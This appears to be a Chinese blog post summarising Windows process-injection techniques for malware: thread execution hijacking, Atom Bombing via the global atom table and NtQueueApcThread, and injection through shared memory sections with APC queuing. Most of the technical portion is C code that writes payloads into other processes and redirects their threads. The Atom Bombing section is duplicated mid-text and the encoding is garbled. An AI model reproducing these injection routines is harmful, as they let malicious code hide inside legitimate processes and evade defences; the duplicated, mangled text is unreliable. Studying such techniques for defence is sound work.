HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);DWORD LoadLibraryAddress = (DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");SIZE_T dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);BOOL bStatus = WriteProcessMemory(hProcess, lpDllAddr, pszLibFile, dwSize, NULL);threadID = getThreadID(dwProcessId);hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);ctx.ContextFlags = CONTEXT_CONTROL;GetThreadContext(hThread, &ctx);oldIP = ctx.Eip;ctx.Eip = (DWORD)stub;ctx.ContextFlags = CONTEXT_CONTROL;VirtualProtect(sc, stubLen, PAGE_EXECUTE_READWRITE, &oldprot);memcpy((void *)((unsigned long)sc + 1), &oldIP, 4);memcpy((void *)((unsigned long)sc + 8), &lpDllAddr, 4);memcpy((void *)((unsigned long)sc + 13), &LoadLibraryAddress, 4);WriteProcessMemory(hProcess, stub, sc, stubLen, NULL);SetThreadContext(hThread, &ctx);ResumeThread(hThread);64位同理;
線程執(zhí)行劫持
線程執(zhí)行劫持技術(shù)和傀儡進(jìn)程技術(shù)相似,傀儡進(jìn)程替換的是整個(gè)進(jìn)程而線程執(zhí)行劫持替換的只是某一個(gè)線程。
線程執(zhí)行劫持也需要先在RWX內(nèi)存中寫(xiě)入payload,寫(xiě)入完畢后直接將線程執(zhí)行地址替換為payload地址就行了:
Atom Bombing
1、Atom Table
是一個(gè)存儲(chǔ)字符串和相應(yīng)標(biāo)識(shí)符的系統(tǒng)定義表
應(yīng)用程序?qū)⒁粋€(gè)字符串放入一個(gè) Atom 表中,并接收一個(gè) 16 位整數(shù) (WORD) 作為標(biāo)識(shí) (稱為 Atom),可通過(guò)該標(biāo)識(shí)訪問(wèn)字符串內(nèi)容,實(shí)現(xiàn)進(jìn)程間的數(shù)據(jù)交換
分類:
(1) Global Atom Table
所有應(yīng)用程序可用
當(dāng)一個(gè)進(jìn)程將一個(gè)字符串保存到 Global Atom Table 時(shí),系統(tǒng)生成一個(gè)在系統(tǒng)范圍內(nèi)唯一的 atom,來(lái)標(biāo)示該字符串。在系統(tǒng)范圍之內(nèi)所有的進(jìn)程都可以通過(guò)該 atom(索引) 來(lái)獲得這個(gè)字符串,從而實(shí)現(xiàn)進(jìn)程間的數(shù)據(jù)交換
(2) Local Atom Table
只有當(dāng)前程序可用,相當(dāng)于定義一個(gè)全局變量,如果程序多次使用該變量,使用 Local Atom Table 僅需要一次內(nèi)存操作
常用 API:
添加一個(gè) Global Atom:
ATOM WINAPI GlobalAddAtom(In LPCTSTR lpString);刪除一個(gè) Global Atom:
ATOM WINAPI GlobalDeleteAtom(In ATOM nAtom);查找指定字符串對(duì)應(yīng)的 Global Atom:
ATOM WINAPI GlobalFindAtom(In LPCTSTR lpString);獲取指定 atom 對(duì)應(yīng)的字符串:
UINT WINAPI GlobalGetAtomName(In ATOM nAtom,Out LPTSTR lpBuffer,In int nSize );Atom Bombing注入
1、將任意數(shù)據(jù)寫(xiě)入目標(biāo)進(jìn)程地址空間中的任意位置
整體思路:
使用GlobalAddAtom創(chuàng)建一個(gè)原子,寫(xiě)入不含null的字符串,讓目標(biāo)進(jìn)程調(diào)用GlobalGetAtomNameA就可以向目標(biāo)進(jìn)程任意地址寫(xiě)入任意代碼了。
細(xì)節(jié):
自身進(jìn)程通過(guò) GlobalAddAtom 將 shellcode 添加到 Global Atom Table 中
通過(guò) APC 注入(使用APC中的NtQueueApcThread函數(shù)另目標(biāo)進(jìn)程調(diào)用GlobalGetAtomNameA。使用NtQueueApcThread而不是QueueUserAPC是因?yàn)?GlobalGetAtomNameA有三個(gè)參數(shù),NtQueueApcThread能傳遞三個(gè)參數(shù)而QueueUserAPC只能傳遞一個(gè)參數(shù)),使目標(biāo)進(jìn)程調(diào)用 GlobalGetAtomName, 即可從 Global Atom Table 中獲取 shellcode
總結(jié):
通過(guò)GlobalAddAtom函數(shù)把數(shù)據(jù)放到原子表,
用APC在目標(biāo)線程用GlobalGetAtomName把原子表里的數(shù)據(jù)放到遠(yuǎn)程內(nèi)存地址里
HANDLE th = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE,thread_id);for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos) + 1){ATOM a = GlobalAddAtomA(pos);// 添加全局原子DWORD64 offset = pos - payload;ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos) + 1));// 向目標(biāo)逐字節(jié)寫(xiě)入payload}2.執(zhí)行 shellcode
目標(biāo)進(jìn)程調(diào)用 GlobalGetAtomName 從 Global Atom Table 中獲取 shellcode 后,需要先保存 shellcode 再執(zhí)行
找到一段 RW 的內(nèi)存( KERNELBASE 數(shù)據(jù)段后未使用的空間)寫(xiě)入數(shù)據(jù),構(gòu)造 ROP 鏈實(shí)現(xiàn) shellcode 的執(zhí)行
ROP 鏈實(shí)現(xiàn)了以下功能:
注入后需要恢復(fù)目標(biāo)進(jìn)程的執(zhí)行
Windows 8.1 update 3 和 Windows 10 添加了一個(gè)新的保護(hù)機(jī)制 CFG
參數(shù),NtQueueApcThread能傳遞三個(gè)參數(shù)而QueueUserAPC只能傳遞一個(gè)參數(shù)),使目標(biāo)進(jìn)程調(diào)用 GlobalGetAtomName, 即可從 Global Atom Table 中獲取 shellcode
總結(jié):
通過(guò)GlobalAddAtom函數(shù)把數(shù)據(jù)放到原子表,
用APC在目標(biāo)線程用GlobalGetAtomName把原子表里的數(shù)據(jù)放到遠(yuǎn)程內(nèi)存地址里
HANDLE th = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE,thread_id);for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos) + 1){ATOM a = GlobalAddAtomA(pos);// 添加全局原子DWORD64 offset = pos - payload;ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos) + 1));// 向目標(biāo)逐字節(jié)寫(xiě)入payload}2.執(zhí)行 shellcode
目標(biāo)進(jìn)程調(diào)用 GlobalGetAtomName 從 Global Atom Table 中獲取 shellcode 后,需要先保存 shellcode 再執(zhí)行
找到一段 RW 的內(nèi)存( KERNELBASE 數(shù)據(jù)段后未使用的空間)寫(xiě)入數(shù)據(jù),構(gòu)造 ROP 鏈實(shí)現(xiàn) shellcode 的執(zhí)行
ROP 鏈實(shí)現(xiàn)了以下功能:
注入后需要恢復(fù)目標(biāo)進(jìn)程的執(zhí)行
Windows 8.1 update 3 和 Windows 10 添加了一個(gè)新的保護(hù)機(jī)制 CFG
利用內(nèi)存映射文件實(shí)現(xiàn)注入
內(nèi)存映射文件,是由一個(gè)文件到一塊內(nèi)存的映射。Win32提供了允許應(yīng)用程序把文件映射到一個(gè)進(jìn)程的函數(shù)
(CreateFileMapping)。內(nèi)存映射文件與虛擬內(nèi)存有些類似,通過(guò)內(nèi)存映射文件可以保留一個(gè)地址空間的區(qū)域,同時(shí)將物理存儲(chǔ)器提交給此區(qū)域,內(nèi)存文件映射的物理存儲(chǔ)器來(lái)自一個(gè)已經(jīng)存在于磁盤(pán)上的文件,而且在對(duì)該文件進(jìn)行操作之前必須首先對(duì)文件進(jìn)行映射。使用內(nèi)存映射文件處理存儲(chǔ)于磁盤(pán)上的文件時(shí),將不必再對(duì)文件執(zhí)行I/O操作,使得內(nèi)存映射文件在處理大數(shù)據(jù)量的文件時(shí)能起到相當(dāng)重要的作用。
在Windows下,創(chuàng)建操作共享內(nèi)存的API主要有CreateFileMapping、MapViewOfFile、OpenFileMapping、FlushViewOfFile、UnmapViewOfFile等
利用目標(biāo)進(jìn)程共享內(nèi)存進(jìn)行注入
//打開(kāi)共享內(nèi)存 HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, section_name); BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size); //寫(xiě)入payload memcpy(buf + section_size - sizeof(payload), payload, sizeof(payload)); //打開(kāi)目標(biāo)進(jìn)程 HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, process_id);char* read_buf = new char[sizeof(payload)];SIZE_T region_size; //在目標(biāo)進(jìn)程中遍歷搜索payload地址 for (DWORD64 address = 0; address < 0x00007fffffff0000ull; address += region_size) {MEMORY_BASIC_INFORMATION mem;SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem,sizeof(mem));//查詢地址空間中內(nèi)存地址的信息if ((mem.Type == MEM_MAPPED) && (mem.State == MEM_COMMIT) && (mem.Protect== PAGE_READWRITE) && (mem.RegionSize == section_size)){ReadProcessMemory(h, (LPCVOID)(address + section_sizesizeof(payload)), read_buf, sizeof(payload), NULL);if (memcmp(read_buf, payload, sizeof(payload)) == 0){// the payload is at address + section_size - sizeof(payload);…break;}}region_size = mem.RegionSize; }創(chuàng)建共享內(nèi)存進(jìn)行注入
首先,使用CreateProcess創(chuàng)建掛起進(jìn)程
利用了內(nèi)存映射文件的原理,那么內(nèi)存映射的一套的流程也基本都用到了,CreateFileMapping創(chuàng)建共享內(nèi)存的內(nèi)存映射對(duì)象
MapViewOfFile得到該內(nèi)存空間的映射地址
RtlMoveMemory將shellcode與PE文件信息拷貝到內(nèi)存映射對(duì)象中
ZwMapViewOfSection將內(nèi)存映射對(duì)象與掛起目標(biāo)進(jìn)程關(guān)聯(lián)在一起,這樣目標(biāo)進(jìn)程中就存在了shellcode與PE文件
ZwQueryInformationThread獲取目標(biāo)進(jìn)程主線程的入口地址
CreateRemoteThread創(chuàng)建一個(gè)主線程
最后使用QueueUserAPC向創(chuàng)建的主線程插入一個(gè)APC執(zhí)行shellcode裝載隨后的PE文件
恢復(fù)執(zhí)行
!!!!所有代碼均不是原創(chuàng),此文只是學(xué)習(xí)過(guò)程進(jìn)行總結(jié)!!!!
總結(jié)
- 上一篇: 吴恩达深度学习课程第五章第二周编程作业(
- 下一篇: 2021线报天下 原创工具 (免费版本,